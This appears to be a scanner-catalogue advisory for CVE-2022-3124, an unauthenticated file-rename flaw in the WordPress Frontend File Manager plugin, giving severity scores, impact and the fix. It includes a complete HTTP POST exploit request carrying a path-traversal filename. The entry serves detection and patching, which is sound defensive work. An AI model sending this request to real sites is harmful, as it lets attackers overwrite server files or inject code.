| Title | Frontend File Manager < 21.3 - Unauthenticated File Renaming |
|---|---|
| Author | riteshs4hu |
| Severity | Medium |
| Impact | Unauthenticated attackers can rename uploaded files and manipulate arbitrary file content on the web server through path traversal, potentially overwriting critical WordPress files or injecting malicious code. |
| Remediation | Update Frontend File Manager plugin to version 21.3 or later that validates file rename operations and restricts them to authenticated users with proper path validation. |
| CVSS Score | 5.3 |
| EPSS Score | 0.07544 |
| CVE ID | CVE-2022-3124 |
| CWE ID | CWE-862 |
| Tags | cve cve2022 wordpress wp-plugin wpscan nmedia-user-file-uploader file-upload intrusive vkev vuln |
The Frontend File Manager Plugin WordPress plugin before 21.3 allows any unauthenticated user to rename uploaded files from users. Furthermore, due to the lack of validation in the destination filename, this could allow allow them to change the content of arbitrary files on the web server
POST /wp-json/wpfm/v1/file-rename HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Connection: close
Content-Length: 40
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
fileid=1&filename=../../../../qegbib.php
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-3124.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-3124.pcap
N/AN/A